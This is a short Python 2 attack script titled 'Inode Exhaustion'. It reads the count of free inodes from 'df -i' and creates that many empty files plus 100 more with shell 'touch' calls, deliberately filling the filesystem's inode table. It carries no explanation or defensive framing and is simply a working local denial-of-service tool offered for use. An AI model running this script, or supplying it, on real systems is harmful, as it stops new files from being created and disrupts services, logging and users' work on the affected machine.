Inode Exhaustion

inode_exhaust.py

import os
# Sorry this is a very lame code
lst = []
data = os.popen('df -i').readlines()
data = data[1].split(' ')
for i in data:
    if i != '':
        lst.append(i)
exhaust_count = int(lst[3])
print "Total free inodes:",exhaust_count
count = 0

for i in range(exhaust_count+100):
    os.system('touch '+str(i)+'.txt')
    count+=1
    print "So far:",count, "Remaining:",exhaust_count-count